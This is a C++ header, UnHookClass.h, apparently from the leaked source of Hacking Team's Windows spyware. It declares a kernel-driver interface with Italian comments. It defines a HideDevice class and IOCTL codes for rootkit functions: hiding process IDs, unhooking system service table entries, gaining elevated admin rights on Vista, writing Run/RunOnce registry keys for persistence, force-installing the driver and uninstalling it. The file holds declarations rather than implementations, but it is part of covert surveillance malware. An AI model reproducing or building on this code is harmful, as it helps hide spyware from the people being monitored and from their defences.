hackedteam/core-win32

View on GitHub
UnHookClass.h

Summary

Maintainability
Test Coverage
#define PREAMBLE_SIZE 10

#pragma pack(1)
typedef struct fixup_entry {
    DWORD func_addr;
    unsigned char func_preamble[PREAMBLE_SIZE];
} fu_entry;
typedef struct UnHookEntry {
    unsigned int index;
    fu_entry fix_up;
} UHE;
typedef struct AddPidEntry {
    DWORD PID;
    DWORD is_add;
} APE;
typedef struct registry_entry {
    DWORD is_deleting;
    WCHAR key_name[256];
    WCHAR value_name[50];
    WCHAR value[1024];
} REE;
#pragma pack()

class HideDevice
{
    public:
    void HideDevice::unhook_close();        // Chiude il device di unhook
    BOOL HideDevice::unhook_all(BOOL is_fixup);                // Unhooka tutte le funzioni hookate
    BOOL HideDevice::unhook_func(char *func_name, BOOL is_fixup);    // Unhooka una funzione particolare
    BOOL HideDevice::unhook_hidepid(DWORD PID, BOOL is_add);    // Aggiunge/toglie un pid alla lista di quelli da nascondere
    BOOL HideDevice::unhook_getadmin();        // Su vista rende admin "figo" (non usare su XP)
    BOOL HideDevice::unhook_isdrv(WCHAR *driver_name);        // Dice se c'e' il driver che gira
    BOOL HideDevice::unhook_getpath(WCHAR *driver_name, WCHAR *driver_path, DWORD size);    // Torna il path del driver
    BOOL HideDevice::unhook_isdev();                        // Dice se c'e' il device di unhooking
    BOOL HideDevice::unhook_regwriteW(WCHAR *value_name, WCHAR *value);    // Inserisce una chiave in Run/RunOnce
    BOOL HideDevice::unhook_regdeleteW(WCHAR *value_name);                // Cancella una chiave da Run/RunOnce
    BOOL HideDevice::unhook_regwriteA(char *value_name, char *value);    // Inserisce una chiave in Run/RunOnce
    BOOL HideDevice::unhook_regdeleteA(char *value_name);                // Cancella una chiave da Run/RunOnce
    BOOL HideDevice::unhook_uninstall();                                // Rimuove il driver dal registry
    BOOL HideDevice::df_thaw(WCHAR freezed, WCHAR *thawed);                // Monta un device "reale"
    BOOL HideDevice::df_freeze();                                        // Smonta un device "reale"


    HideDevice(void);
    HideDevice(WCHAR *driver_path); // Installa anche il driver (il forcing funziona solo su XP)
    ~HideDevice(void);
    
    private:
    BOOL HideDevice::unhook_init();
    #define NUM_OF_SERVICES 0x300
    fu_entry SDT_Table[NUM_OF_SERVICES];
    DWORD    sdt_entry_count;
    HANDLE    hFile;
    BOOL    sdt_init;
};


#ifndef CTL_CODE
    #define CTL_CODE( DeviceType, Function, Method, Access ) (                 \
    ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
    )
#endif
#ifndef METHOD_BUFFERED
    #define METHOD_BUFFERED    0
#endif
#ifndef FILE_WRITE_ACCESS
    #define FILE_WRITE_ACCESS ( 0x0002 )
#endif

#define FILE_DEVICE_H4DRIVER 0x00008234

#define ADMIN_FUNCTION     0x0882
#define UNHOOK_FUNCTION 0x0883
#define ADDPID_FUNCTION 0x0884
#define REG_FUNCTION    0x0885
#define THAW_FUNCTION    0x0886
#define FREEZE_FUNCTION 0x0887
#define UNINSTALL_FUNCTION  0x0888

#define IOCTL_UNHOOK CTL_CODE(FILE_DEVICE_H4DRIVER, UNHOOK_FUNCTION, METHOD_BUFFERED, FILE_WRITE_ACCESS) // 0x8234A20C
#define IOCTL_ADDPID CTL_CODE(FILE_DEVICE_H4DRIVER, ADDPID_FUNCTION, METHOD_BUFFERED, FILE_WRITE_ACCESS) // 0x8234A210
#define IOCTL_ADMIN  CTL_CODE(FILE_DEVICE_H4DRIVER, ADMIN_FUNCTION, METHOD_BUFFERED, FILE_WRITE_ACCESS)  // 0x8234A208
#define IOCTL_REG      CTL_CODE(FILE_DEVICE_H4DRIVER, REG_FUNCTION, METHOD_BUFFERED, FILE_WRITE_ACCESS)    // 0x8234A214
#define IOCTL_THAW   CTL_CODE(FILE_DEVICE_H4DRIVER, THAW_FUNCTION, METHOD_BUFFERED, FILE_WRITE_ACCESS)   
#define IOCTL_FREEZE CTL_CODE(FILE_DEVICE_H4DRIVER, FREEZE_FUNCTION, METHOD_BUFFERED, FILE_WRITE_ACCESS) 
#define IOCTL_UNINST CTL_CODE(FILE_DEVICE_H4DRIVER, UNINSTALL_FUNCTION, METHOD_BUFFERED, FILE_WRITE_ACCESS)